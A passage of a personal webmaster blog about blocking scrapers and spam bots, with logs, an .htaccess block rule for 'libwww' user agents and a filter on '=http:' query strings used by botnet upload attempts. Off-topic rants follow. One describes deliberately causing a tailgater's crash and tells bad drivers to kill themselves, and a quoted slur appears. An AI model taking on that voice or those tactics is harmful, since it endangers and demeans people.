If we could just get all hosts to do this, and even dedicated server companies to offer this kind of technology, maybe the scrapers would already be out of business.

Block LIBWWW-PERL and web addresses to protect your site from botnets

Not only do I block all accesses from libwww-perl, I also log what they were looking for which turns up an amazing amount of botnet hits on a daily basis just randomly hitting websites trying to find a way inside.

The first trick to securing your site from the script kiddies is to block any user agent that contains "libwww-perl" which will stop the dumb ones from owning your site.

Try adding this to your .htaccess file:

RewriteCond %{HTTP_USER_AGENT} libwww [NC,OR]

The next trick is to filter out things in your QUERY_STRING such as "=http:" which is a typical in the botnet scripts that attempt to upload files to vulnerable software. This won't impact most other applications because file uploads tend to be done via a form and a POST, not a GET command.

With these 2 minor security changes you've eliminated many vulnerabilities from botnet attackers and blocked their method of uploading files.

It's not 100% but it may be enough to help you survive the next time your Open Source application gets a vulnerability until you can actually apply the patch.

Greedy French Scraping Bastard

This swine from the land of overpriced wine asked for robots.txt then tried to rip over 1300 pages.

83.198.150.2 "GET /robots.txt HTTP/1.0" 200 146 "-" "-"

83.198.150.2 [ALille-252-1-48-2.w83-198.abo.wanadoo.fr.] requested 1321 pages as "Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0)"

Too bad Pepe Le Pew, your feeble scraping attempts SUCK and you got 1300+ pages of error messages so Phuck Off.

[sing a long with apologies to Cheryl Crow...]

All I wanadoo is scrape some pages,
We'll download it, and not take ages.

All I wanadoo is grab your site,
And then cloak it all to Google tonight!

Sorry Pharma Spammer Strikes Again

Some miserable asshole is using "Sorry for subject" as a spam topic and attempting to spam from all over the world. Mainly it's one IP in Germany with some others from other locations.

Most of the links they're spamming are for pharma related sites but there was an actual domain park page thrown in as well which really made me giggle.

The most fun is my spam blocker that I wrote never lets any of this shit through to my website, but just silently logs it so I can go back and see what these shit-for-brains are doing later just for my own amusement, plus collecting the IPs to block.

Here's the German sorry spammer:

62.141.53.139 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)" "Sorry for subject" http://tramadol.4hfs.org
62.141.53.139 "Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5) Gecko/20041220 K-Meleon/0.9" "Sorry for subject" http://phentermine.4hfs.net
62.141.53.139 "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a1) Gecko/20051102 Firefox/1.6a1" "Sorry for subject" http://tramadol.hfslink.com
62.141.53.139 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)" "Sorry for subject" http://tramadol.4hfs.net
62.141.53.139 "Mozilla/4.0 (compatible; ICS 1.2.105)" "Sorry for subject" http://phentermine.2hl.org
62.141.53.139 "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20041122 Firefox/0.5.6+" "Sorry for subject" http://phentermine.3mac.info
62.141.53.139 "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)" "Sorry for subject" http://tramadol.4hfs.org
62.141.53.139 "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8a) Gecko/20040416 Firefox/0.8.0+" "Sorry for subject" http://phentermine.viphls.org
62.141.53.139 "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)" "Sorry for subject" http://phentermine.3mac.info
62.141.53.139 "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6" "Sorry for subject" http://tramadol.medhls.com
62.141.53.139 "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b5) Gecko/20051019 Flock/0.4 Firefox/1.0+" "Sorry for subject" http://phentermine.3mac.info
62.141.53.139 "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15" "Sorry for subject" http://tramadol.medhls.com
62.141.53.139 "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2) Gecko/20021126" "Sorry for subject" http://phentermine.viphls.org

Here's the rest of the sorry spammers:

59.93.35.80 "Mozilla/5.0 (Windows; U; Win95; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0" "Sorry for subject" http://phentermine.10pharm.com
60.217.227.141 "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.3) Gecko/20041002 Firefox/0.10.1" "Sorry for subject" http://phentermine.viphls.org
68.10.68.144 "Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686) Opera 7.20 [en]" "Sorry for subject" http://tramadol.madnewus.com
69.249.59.232 "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6) Gecko/20040206 Firefox/0.8" "Sorry for subject" http://cialis.mednewus.com
86.139.64.133 "Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC Mac OS X; en) Opera 8.0" "Sorry for subject" http://tramadol.hfslink.com
89.208.4.195 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)" "Sorry for subject" http://ativan.10pharm.com
200.49.102.100 "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.5) Gecko/20031016 K-Meleon/0.8" "Sorry for subject" http://tramadol.4mednew.com
200.55.113.119 "Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1)" "Sorry for subject" http://tramadol.2hl.org
201.17.208.188 "Opera/8.01 (Windows NT 5.1)" "Sorry for subject" http://tramadol.4hfs.net
201.45.41.153 "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.6) Gecko/20050222 Firefox/1.0.1" "Sorry for subject" http:///tamiflu.hlspharm.info
210.87.251.41 "Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040707 Firefox/0.9.2" "Sorry for subject" http://zetia.hlspharm.info
218.38.9.218 "Mozilla/4.76 [en] (Windows NT 5.0; U)" "Sorry for subject" http://phentermine.cvipm.com
220.78.229.119 "Mozilla/5.0 (Windows; U; WinNT4.0; en-CA; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1" "Sorry for subject" http://tramadol.10pharm.com

You're such a sorry fucking spammer you don't even know you're just wasting your time you stupid fuckhead.

Why Do Poker Players Overstay Their Welcome?

I've been playing poker most of my life and no-limit Texas Hold'em for almost 20 years now and it never ceases to amaze me that people who are winning money, the table chip leaders, will continue to sit at that table until they bust.

What they hell is wrong with you poker players out there?

Hint: If you get a big pile of chips, GO HOME!

These people are obviously addicted to the rush of going "all-in" and sure they can double up their stack yet again and consistently lose it all.

The games I tend to play are either a 1-1-2 spread limit or a 2/4 no-limit, both with a minimum $4 bet and you can buy-in with a $100 minimum. Now the object of this game, at least my object, is to sit tight and wait for good cards while watching the play, maybe up to an hour without really getting involved with the action.

Do the math as my strategy really isn't that hard.

You pay for nothing but the blinds, unless you get killer hole cards, then you make your move.

The blinds in this game are typically $6 per each time 9 hands are dealt around the table, so you get to see 9 sets of hole cards for only $6. Better yet, you get to study how your opponents play 9 times (assuming 9 players per table) for $6 even if you take no action. This means for a measly $100 you can evaluate up to 9 hands per blind for 16 blinds, or a whopping 198 hands of cards.

The next thing is you NEVER buy-in for more than the minimum, which is $100 at this game, even if you could buy-in for $200 or more. Why you do this is you're protected in an all-in bet limited by your current table stakes. This gives you a lower risk all-in opportunity to double up your money for each $100 you buy-in. If you lose an all-in bet you've never lost more than $100 so you still hopefully have another $100 in your pocket to get more chips and try again.

Now the real secret, IMO, is to never spend more than $300 per day playing this game otherwise you quickly get upside down losing so much you have to keep chasing pots to get back even, let alone winning. If the cards are that bad and you've already lost $300, which would be about 3 hours playing for me, it's time to go home and try again another day.

Do I sound like a cheap gambler to you?

Hell no, just a smart one.

Been there, done the big stakes, the game is still the same small or low stakes.

The idea is always to play on THEIR money and not use YOUR money if possible. My investment in the game is just the bankroll to get the first big win and then I gamble using my winnings to get to the next bigger win. I could easily be into a game for a thousand dollars but that would be stupid as the object is to build off a smaller bankroll and then play on other peoples money. If you see me sitting with a thousand dollars in front of me you can bet your ass I have typically no more than $200 invested in the game. If I start to lose and see my stacks of chips declining, I always try to get out at a minimum with at least what I started with, and some winnings as well, not go completely bust like I see so many others do consistently.

Now that you have an idea of how I play, a little backgrounder on me, let's get back to the topic of people that overstay their welcome...

I took a break from no-limit poker for a couple of years, not because I didn't want to play, but because I couldn't find any good games locally. Then a few months ago I came across the exact same version of the No-Limit Texas Hold'em game I always used to play and it was a blast. So far recently I've played it 6 times and won 5 times, cleaned up all but one night when the cards just plain stunk.

On a couple of these games, I walked up to the table and there was a definitive chip leader with $800-$1000 piled up in front of them. One of them was a really solid tight player and the other was a loose player chasing pots that just happened to get lucky. The tight player sadly got a bad run and started losing to me with such hands as my King-high flush all-in against their Queen-high flush, and so on and so forth, one bad beat after another until I broke him on a final all-in bet. The loose player was a different night, ah well, he would bet large amounts on an Ace-high nothing into my 2 pair, and similar bad bets, and literally thought he could bully me out of the pot with bigger bets but I called and broke his ass as well.

When I took their big pile of chips guess what I did?

I WENT HOME!

Remember what I said, they overstayed their welcome and gave it all back. I didn't overstay my welcome, I cashed out and went home, adding their money to my gambling war chest.

Until next week...

Myths About CAPTCHA's

For those that don't know what a CAPTCHA is, it's something that typically a human can answer but automated software can't figure out. An example of this is on the comments page of this blog which has a box with the squiggly letters you have to type in before you can submit a comment.

Some people are declaring that it's the end of the CAPTCHA era either with human powered sites that trick visitors into providing the answer to the CAPTCHA, or automated image recognition software that just needs time and a little computing horsepower to decode the text in the image.

Myth #1 - CAPTCHA's aren't accessible to the visually impaired.

Accessibility issues are a legitimate complaint for some sites that don't implement a robust accessible CAPTCHA solution. For instance, the visually impaired can use the alternative audio CAPTCHA used on this very blog that solves this simple problem. Other types of CAPTCHAs that are math or word problems which are easier to read are also accessible.

Myth #2 - All CAPTCHA's are those squiggly text things seen on blogs.

Most of the comments about CAPTCHA's are based on the one type of CAPTCHA that uses extremely bent and distorted text called Gimpy. However, Gimpy is just scratching the surface when it comes to CAPTCHAs as they come in many forms.

Some of the other CAPTCHAs variants include identifying what's contained in a picture, simple math questions like "1 + 4 = ?", a text question like "What color is the sky?", or typing in the letters or numbers played via audio.

If you don't think people can spell "BLUE" or answer the math question properly you can always give them a nice drop list of possible answers and only give one chance to answer per question to stop bots from hacking at the answer.

Myth #3 - Bots can easily "BLOW THROUGH" CAPTCHAs.

When humans are being used to provide CAPTCHA answers that can be the case, but only when you implement sloppy CAPTCHA code in the first place. You can use a series of security measures to make sure there's a human sitting at the keyboard and it's not being passed through by a bot.

1. Require Javascript to validate the CAPTCHA since the majority of bots don't run Javascript in the first place.
2. Obfuscate your CAPTCHA in randomized encoded Javascript so that it's difficult, if not impossible, for a bot to even detect the presence of a CAPTCHA on the page in the first place.
3. Use Javascript input sensory techniques such as MT Keystrokes to detect whether a human has actually typed into the field on the web page.
4. Randomize the type of CAPTCHA being used so that there isn't a single specific type of CAPTCHA to target with an automated tool.
   

Summary

The real vulnerability of most forums, blogs and wikis face isn't even the risk of CAPTCHA failure, it's the identical footprint of all the Open Source software which makes locating the comments pages so easy.

Changing the name of the anchor text and page name on a blog from "comments" and "comments.php" to "Post an Opinion" and "youropinion.php" is another form of CAPTCHA because the human will immediately know where to click but the bot might get confused.

Better yet, since most bots don't read javascript, simply obfuscate the actual HTML of your "Leave a Comment" section in Javascript. When bots can't even find the link to "leave a comment" or the form fields where you enter a comment in HTML it may eliminate the need for the more complex text bending CAPTCHA's in the first place. Sure, the spammers could code the bot to decode a single instance of obfuscated Javascript for a single blog, but the code itself could be randomly obfuscated so that it would be quite a difficult task.

Don't let the naysayers dissuade you from increasing the strength of your spam blocking as stronger CAPTCHA's combined with Javascript tricks appear to be bulletproof until the bots get a lot more complex and smarter.

P.S. Note that the guy claiming CAPTCHA's are dead doesn't have one on his blog and if you scroll down past the actual comments you'll see he has a shitload of porn spam at the bottom. Obviously someone knee deep in spam is NOT the person you should be listening to about whether or not to use a CAPTCHA.

Gigablast Data Trail

While following where my data goes on the internet I found a couple of sites that appear to be using data from Gigablast which include eWoss and searchEstate.

The upside is fewer crawlers as they're leveraging existing data crawls in multiple locations.

The downside is that you have no control where your information shows up so the only way to control that relationship is block the source.

Update: Also found Gigablast content in Webled as well.

Ezilon Also Has Some LookSmart Content

This time my content tracking bugs led me to Ezilon which has content that originated from LookSmart. Don't know if Ezilon is a LookSmart partner or what the deal is, perhaps they scraped LookSmart, but the link to one of my sites in their listings was definitely crawled by LookSmart.

Just goes to show that blocking bad bots from your site doesn't always stop your content from being misappropriated anyway.

Update: Also found LookSmart data in xogger.com.

5 Reasons Why I Blog - Tagged By a Boy Named Sue

Looks like old anti-spam Connie tagged me because I'm a second-rate blogger that's about as popular as a fart in an elevator, but I'll accept that tag and play the game.

So here goes with my 5 reasons why I blog:

1. Because I'd probably get kicked off most, if not all forums, for saying some of the shit I say. Therefore, the best way to truly express my opinions and not get a boot to the head was to take it elsewhere, and the blog was born.

2. If I didn't blow off some steam every now and then when things are really pissing me off, my fucking head would explode, therefore blogging is also done for medicinal purposes.

3. My wife is probably sick and tired of hearing me rant and rave about things that get under my skin so I blog them out, then she can read it once, or I might read it to her, and it's over with. The blog may actually be saving my marriage until I blog about her one too many times, or about the wrong topic, and then the shit will hit the fan for sure.

4. I actually have some useful information to pass on from time to time and the blog is as good as any place to post it.

5. Blogging about exposing, blocking and whacking scrapers and spammers pisses them off so the blog gives us a nice virtual parking lot to duke it out.

There, I've done the deed, 5 fandamntastic reasons why I blog.

Looks like I should tag 5 other people just because misery loves company:

John Andrews - because I know John dislikes following the herd
MartiniBuster - just so I can imagine him rolling his eyes at me
SpamHuntress - so she'll get off MySpace and start blogging again
John Scott - he's been so intermittently blogging someone needs to kickstart his ass
WillMac - bots make him as crazy as they do me, so he needs to share

That's all for this time and may whoever comes up with the next game of blog tag get a big swift kick in the nuts from all of us that feel dragged into this shit whether we want to play or not.

Don Imus Joins Ranks of Unemployed

I've always hated Imus and just the sound of his voice and his idiotic bullshit made me want to smash radios.

Then those idiots over at MSNBC decided to put that stupid fucker on TV so the country could see that walking corpse spew bullshit in living color. That was the last day I ever watched MSNBC simply because it wasn't worth the risk of accidentally seeing that past-the-expiration-date walking organ donor still polluting the tube.

Now, thank the gods, he has aimed his prejudiced venom at the wrong bunch of women and not only has MSNBC gained a potential viewer when they canceled his dawn-of-the-dead carcass but CBS then followed suit and booted his old dusty ass to the curb.

Bye bye Imus, I won't miss you one fucking bit.

TIP FOR IMUS: Don't call the lady processing your unemployment claim a "nappy-headed ho" or she'll slap your ass into next week.

Webaroo's Content Stealing PulseBot Flatlined

If you've never seen Webaroo before, the concept of copyright obviously has been completely glossed over.

Here's what it says on their website:

Webaroo servers crawl the web, analyze web pages and automatically select the subset of pages with the greatest diversity and quality in the least storage size. These pages are then packaged into topic-specific "Web Packs" that can be downloaded by users onto their devices. Once downloaded, users can search and browse that content on the go.

Here's an English to English translation:

Webaroo takes whatever copyrighted content of yours we want and repackage it for our customers without permission. Of course we do it without permission because nobody knows about Webaroo in the first place so they won't stop us or the many bot names. Isn't it cool how we're going to steal your shit and pack it up so others can download it and now they don't even need to bother visiting your website? Wicked!

Look at the total number of bot names coming from their crawler's IP address.

64.124.122.228 "WebarooBot (Webaroo Bot; http://64.124.122.252/feedback.html)"

64.124.122.228 "PiyushBot (Piyush Web Miner; http://piyush.com/feedback.html)"

64.124.122.228 "RufusBot (Rufus Web Miner; http://www.webaroo.com/rooSiteOwners.html)"

64.124.122.228 "RufusBot (Rufus Web Miner; http://64.124.122.252/feedback.html)"

64.124.122.228 "SumeetBot (Sumeet Bot; http://64.124.122.252/feedback.html)"

64.124.122.228 "PsBot (PsBot; http://64.124.122.252/feedback.html)"

64.124.122.228 "pulseBot (pulse Web Miner)"

Hell, if you were trying to stop them using robots.txt it's a lost cause as the bot names seem to get changed faster than a baby's diaper.

I would just block their range of IP's, it's more convenient.

Webaroo MFN-B843-64-124-122-224-27 (NET-64-124-122-224-1)
64.124.122.224 - 64.124.122.255

That's how you stop name changing bots, the firewall way.

Package THAT into a topic-specific "Web Pack" and download it.

Prius Damages Planet Worse Than SUVs

I'm sure a few of you have read the report that the actual environmental damage caused by a Prius is worse than a Hummer, but in case you haven't, go read this article. I'm not saying that the concept of a Prius is bad, nor is trying to save some gas bad, but when you stack up the total environmental damage caused by the Prius manufacturing process vs. the meager savings to the end user, it's damn near criminal.

Bet you Prius users feel good about saving some gas in your wallet while driving an overpriced vehicle that has already caused more harm to the environment than the average car had you driven it instead.

Now that you've read it and are more educated about the situation, if you actually own a Prius, you should take it back to your Toyota dealer and demand a refund purely on the ethics of this so-called environmentally friendly car. If they refuse to give you your money back, I'm wondering what a Judge in a court of law would say if someone sued to get a refund about being mislead about the environmental impact of the Prius.

Hey, it's just a matter of time and we all know Americans love to sue.

Besides, the environmentally hopped up fanatics won't admit they made any mistake in the first place or they'll tell you they're all too busy getting people to sign a petition to ban the chemical H2O which is getting into all the water supplies.

Fucking tree hugging naive planet killers, don't you just love 'em?

Swooglebot Thnks My Site Is Anti-Semantic

Here comes the little toy bot from UMBC that's trying to figure out the semantic web and sure enough, my anti-semantic site booted the little fucker.

Here's the 411:

130.85.34.29 [eb2.cs.UMBC.EDU.] "Swooglebot/2.0. (+http://swoogle.umbc.edu/swooglebot.html)"

Since my site is anti-semantic, does that make me an anti-semantite?

Hmmm...

Nutch Goes to the Opera

OK, everyone knows I'm a big Nutch fan.

Everyone should also know the above statement is sarcasm laid on thick like peanut butter.

Anyway, back to the topic...

I saw this supposedly Nutch user agent in my logs today which is pretty slimy claiming to be MSIE, Opera, and Nutch all in the same UA.

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01/Nutch-0.9 (http://lucene.apache.org/nutch/about.html; http://lucene.apache.org/nutch/bot.html; mail@dev.null)

Whoever thought that was clever enough to slide under my radar was wrong as that word Nutch set off alarms and tossed your crawl into the online equivalent of the pit of despair.

Sorry, better luck next time.

Craigslooters Even Take Kitchen Sink.

If you missed this news item it bears repeating just because it's a cautionary tale about how some people are real lowlife scumbags.

Someone posted an ad on Craigslist for a location in Tacoma telling everyone to "Please help yourself to anything on the property." and they took it, literally took everything including the front door and the kitchen sink.

Who in the hell takes anything posted on Craigslist that seriously?

Obviously common sense flew out the window when the first person on the scene encountered a locked building and had to remedy that situation before they could start helping themselves to everything else, so I assume the door was the first to go.

Wonder what could happen if someone posted something like this for a local WalMart for the "2am giveaway, everything you can carry in 1 trip you can have!". Would people be that stupid to think WalMart was endorsing looting their own stores?

After what happened with the LA riots, anything is possible.

It's just another reason to weep for the future.

Porn spammers at it again

Don't know what porn spammers hope to gain from this, but they're adding a parameter to an actual URL on my site and cloaking this information to Google.

You may see requests like this in your log file:

http://www.domain.com/mypage.html?ref=spammerdomain.com

Don't know what they're trying to game in Google, don't even give a shit, I'm just bouncing any request with "?ref=" in the URL to stop this nonsense cold.

WorldWebWide Scrapes LookDumb

Today my content tracking bugs led me to something in the worldwebwide.net which originated from LookSmart.

The IP address where the data was originally crawled from:

60.88.242.64 -> sv-crawlfw4.looksmart.com

This is nothing new as LookSmart seems to be a scraping target as I've already reported same thing happening with GoodBidWords.com containing scraped LookSmart listings.

Livebot vs. Googlebot - Microsoft trying to catch up?

Was looking over my log stats today for my site (not this blog) it was surprising to see Microsoft's Livebot crawling very aggressively, possibly taking more pages and returning faster then Googlebot this month. I'll give Livebot this much, the volume of crawling is pretty impressive compared to what it used to be so it looks like Microsoft is in this horse race to win and not just play 3rd fiddle.

Then of course we have our pals over at Ask slowly poking around my site. If Yahoo's Slurp is taking a nap this month, Ask must be in a coma or something. Slow as a snail and information seems to take forever to show up on their site. Maybe they cater to the dial-up crowd.

Then good old Gigabot seems to be crawling from a new bank of IPs and I don't even care.

Anyway, it will be interesting to see how quickly some of my new site changes show up in Live because crawling that fast and not updating as quickly would be silly!

Site Upgrade Finally Started

Finally got around to upgrading to the new Blogger layout today and even managed to organize some of the posts with labels just to see how that works. The archive section is much easier to navigate and I think people will find this a whole bunch easier to use once I'm finished with upgrading.

Now to find a nice stretch template I like that fills my full 1680 x 1050 display and doesn't look like shit on the laptop's 1024 display!

Where have all the blog posts gone?

Sometimes I just have to take a little time out to make some freak'n money people. I'm not ignoring you, I'm still here, but there are days when I get so focused on doing actual work that the rants go unpublished. Besides, not all of us have the stamina to read such long winded minutia, let alone the time to write it.

Additionally, I'm getting prepared to go out and rub elbows with people that have venture cash tonight and see if there's any interest in my little project to take back control of the web. If I don't come back with a bunch of biz cards from tonight's little party just shoot me.

A few topics on my mind:

1. It was nice to see common sense prevail when a Judge kicked KinderStart in the ass.
2. Microsoft seems to be taking aim at Made for AdSense aka SPAM sites.
3. Someone sued the Internet Archive for stealing her site.

Fun fun fun.

Local Searches and Associated Ads Miss The Boat

Local search solutions and the contextual ads that appear with those searches have some wrong thinking about how they geotarget ads to the customer.

For instance, I don't live in Alabama but I'm trying to help someone I know locate a service in Alabama, such as a plumber. Go to Google and search for an "alabama plumber" and you get the proper results and appropriate ads displayed.

Now let's trying clicking on one of those ads in Google that takes you to some specialized local service which claims it's taking me to "alabama.whatever.com" on their site.

Do I get listings for Alabama related sites?

Hell No!

The local site picks up on the keyword plumber but shows me a page geotargeted to MY IP, not what I was actually searching.

Let's assume for a second that Alabama wasn't enough information, so I changed the query in Google to "Birmingham, Alabama plumber" and clicked through and got the same stupid results from the local site pointing me back to my local area.

What's worse is that Google AdSense will show you local advertisements when you're clearly on a page researching another location. In all likelihood you would NOT click ads for your local area when it's painfully obvious, even to dense people, that it's not what you're interested in finding. Google can't claim they don't know you were interested, or it's too complicated to geotarget in that way, because Google was the search engine that found that page in the first place and passed the query information to the page you clicked which contains AdSense that reads the referrer!

Yet, here you are looking for Alabama things, on a page all about Alabama, with a referrer and query passed by Google about an Alabama search, and there's AdSense showing ads about Nevada, California and the SF Bay Area.

HELLO?

Anyone can plainly see that THOSE ADS AREN'T RELEVANT to the topic!

Obviously the local search services have a way to go and Google is just losing money with inappropriate ads on those sites.

They better get it together on local sites before someone smarter steps in and fills the gaps.

Take Your AdSense Sites to the Next Level

Don't know how many people out there that read this blog are running sites with AdSense, but I posted a thread on WebmasterWorld that may be of interest.

Go read Unlock the limits of your AdSense earnings potential and you can see that I shared quite a few things you might find useful.

Stop Cloning Around

Here's a random thought of the day to ponder.

Assuming you were cloned, if you have sex with your clone is it incest or merely masturbation?

MSN and Yahoo cleaner than Google?

I've been watching my scraped content in all the search engines and just recently most of the junk sites vaporized from Yahoo and MSN yet Google is still knee deep in scraper results for my sites. Obviously this is nothing scientific yet as this is just a casual observation, but Google is getting a little butt kicking in the cleanliness of content department from where I'm sitting.

Additionally, Google is still crawling proxy sites that cloak lists of links to them like a kid in a candy store, they just love those cloaked links, so nobody seems to be interested in fixing that problem.

Deep Blue Funky Time

Ever have a week or two when you just say "fuck it" to everything?

So the blog goes unpublished for days, emails piling up unopened, voice mail flashing non-stop...

Took a mental health day and went to play some no-limit Texas Hold'em and came away with some winnings, so that was a bright spot. Had a few lunches out with a friend and pounded a few pints as well which is always good for what ails you.

Then an old friend popped into town the other day to interview for Google of all things. Ah yes, there's 2 nights of dragging my ass out to dinner. Oh the horror of it all, having to pull myself off the sofa and get dressed and engage in small talk 2 nights in a row.

What could happen to put the funk back on after snapping out of it?

You guessed it, the kid calls and she's blown her engine and of course needs Daddy to pay to get her a new engine or a new car.

Also, what should've been a bright spot was the new decked out Vista laptop which of course doesn't run all of our software and we're thinking about shoving it up Costco's ass for a refund.

Fuck.

Well, despite my best efforts to lay on the sofa all day again today basking in the glow of the plasma TV I managed to clean off my desk, do some web work and even post a blog entry.

Perhaps it's issues with big oppressive corporations trying to tell people how to run their businesses that makes it harder and harder to get off the sofa, who knows.

Current Mood: the world can kiss my ass

Extra! Extra! Stupid People Are Still Stupid!

You know they're stupid, I know they're stupid, so why don't THEY know they're stupid?

I was just going through my Inbox today reading more stupid emails, some are even replies to auto-responders which told them exactly what to do, yet they ask again.

My first thought was to install yet another auto-responder to automatically answer replies to the first auto-responder that would clarify the situation.

Dear Customer,

If you replied to the previous email you're stupid.

The email was written at a 3rd grade level so even a school child could follow the instructions. If you don't have any children look outside and there's probably a child , age 8 or above, playing ball in the vicinity that can help you out with your current problem.

Please read the simple instructions and just click the damn link in the previous email.

You did see that link, right?

It's not hard, click the damn link.

Regards,
Customer Support

Not that I would actually send such an email, but god knows there are days I really truly want to send that.

However, they would probably just reply with another question...

MyBlogLog Steps in ShoeMoney

Not that I pretend to know what in the hell is going on at MyBlogLog with all the security holes being posted, but it looks like they shot the messanger and banned ShoeMoney.

You people at MyBlogLog are out of your fucking minds.

You don't ban people that tell you where your flaws are, you fire all the incompetent programmers that keep making the flaws and thank the customers that use your service for pointing out serious issues before they become a crisis.

I was considering using MyBlogLog but now that I know it's MyFlawedBlogLog with a big chip on their shoulder I think I'll just pass on this bullshit.

Tips on Link Checking and Scrubbing

Many of you know I run a directory site and may be interested in some tips I posted on scrubbing links over at WebmasterWorld in their Directory forum titled "Directory Listing Hijack Detection". It's a bit off topic from my normal bot busting posts, so there isn't much of an audience for it here, but for anyone interested in the topic you may pick up a few tidbits from things I've been doing.

Somehow, at the end of the day, busting stealth bots and hunting links hijacked by domain parks doesn't feel all that different as they're both trying to slide in under the radar to make a profit without being noticed.

The Gigablast to Google Content Connection

Some of my "scraped" content kept showing up in places not expressly authorized to have my content. This was making me a little batty as I'm pretty sure the bot blocker wasn't letting these people through, that my code didn't have holes like swiss cheese, then I figured it out. Finally there was a clue embedded in some of the data, as it included one of my tracking bugs, and it turns out the data originated from Gigablast.

Knowing it came from Gigablast, I looked up Gigablast's list of partners and VOILA! there was the site in question listed in their partner list.

Now comes the dilemma of what to do about this situation as I'm not happy with a couple of their partners and by allowing Gigablast, I'm permitting the partners access by default.

Worse yet, Google indexes the Gigablast data that's present in their partner sites, like Eurekster, so here you are competing with your own content in Google yet again via the Gigablast connection.

Since I really don't get any noticeable traffic from Gigablast or any of their partners, maybe it's time to cut the umbilical cord just to keep my own information from being used against me to rank their partner sites in Google.

Looks like we need some robots.txt commands that we can use to tell search engines like Gigablast it's OK to index, but not share with Snap for instance.

Maybe implement something like this in robots.txt for search engine partner control:

User-agent: Gigabot
ShareDeny: SNAP
ShareDeny: Eurekster

It's feels almost as bad, if not worse, than battling a scraper but this time I let this one in the front door with my blessings.

To block or not to block, THAT is the question...

Did You Hear My Horn?

This is an open letter to all the incompetent drivers out there on the roads of the world.

You know who you are and we know who you are too, which is why we're honking our horns at you, flashing our lights at you, and most likely slamming on our brakes to avoid your masterful maneuvers when you're showing off your true talents on the road.

Lanes, pick one and stick to it.

Follow those little dots and dashes on the road and stay between a pair of them, it's not that complicated. When making a 2 lane turn into a 2 lane road, stay in the lane you started in unless you want to explain your incompetence to the mechanic, insurance company and the Dept. of Motor Vehicles.

Even if a road jogs at a funny angle as you cross an intersection, and the markings aren't too clear, it's not rocket science. If you're on the far left or right in a 3 lane road, stay to the far left or right. If you're in the middle lane it can't be that complicated to figure out where the middle is in the road across the intersection but sure as shit, 9 times out of 10, you end up in the far right lane with people honking (often me) and screeching brakes to avoid your dumb ass.

Aren't the cars in the lanes next to you any clue that it's unsafe to change lanes at this time?

Turning Signals or Blinkers, Use It or Lose A Fender.

It's that little lever on the side of the steering wheel that you either never learned how to use or it's too inconvenient to use because your fucking cell phone is currently in that hand. I'm not a mind reader, and even if I have a clue what you're about to do, I'm going to completely ignore it because you're too stupid to expressly tell me. Maybe I'll even speed up just to make sure I'm in the way and completely justified for blasting my horn and scaring the shit out of you which will probably cause you to then over steer to avoid me and careen into a bus load of kids on the other side. Signal your turn or die, your choice.

Turning Lanes, Get Out NOW!

If you're in a right or left exit only or turn only lane, can you explain why in the hell you wait until you get up to the end of the lane, often at a stop sign, before you decide to change lanes?

Never mind the long line of cars behind you now waiting since you fucked up their lane.

Never mind the long line of cars in the lane next to you because you're fucking up their lane as well. Most often you veer into that lane as you try to change lanes, without a turning signal (see Turning Signals or Blinkers above) and then panicked and stopped so now they can't get around your dumb ass either.

Doesn't the sound of those horns honking behind you give you a clue you're a pinheaded fucknut?

Space, Keep Your Damn Distance!

If I look in my rear view mirror and you're tailgating then you might want to pray your brakes, airbags and seatbelts all work properly.

If you're driving an expensive and well polished German car, I might just put on my windshield washers which will send a spray of water over the top of my car onto that wax job you just paid for and put spots all over your car. Some of you are smart enough to back off after my washer pisses on your Porsche a time or two, others not so bright.

Maybe I'll just drop from overdrive into drive and completely let off on the accelerator so the engine will suddenly slow my car down real quick, no brake lights, not a single clue I'm slowing, and scare the shit out of you when you almost plow into my car.

Hell, you want to be in my backseat?

Maybe I'll just help you out...

Maybe, if I'm all alone in my car, and you're all alone in yours, and there's nobody else around, just maybe I'll slam on the fucking brakes so hard that you'll smash into the rear of my car with enough force you'll pop your airbag like a balloon, fly through your windshield, smash through my rear windshield, where you can lay bleeding to death in my backseat assuming you aren't already dead from the impact.

Pulling Into Traffic.

Why in the hell do you watch the other cars coming at you, sitting there with your thumb up your ass, and suddenly pull into traffic at the last second?

You must realize it's a bad idea as you hear the screeching brakes and honking horns that greet your entry onto the road yet you do this every time!

If suicide is your wish, use a gun or rope in the privacy of your own home and leave me and everyone else on the road out of it.

Handicap Placards.

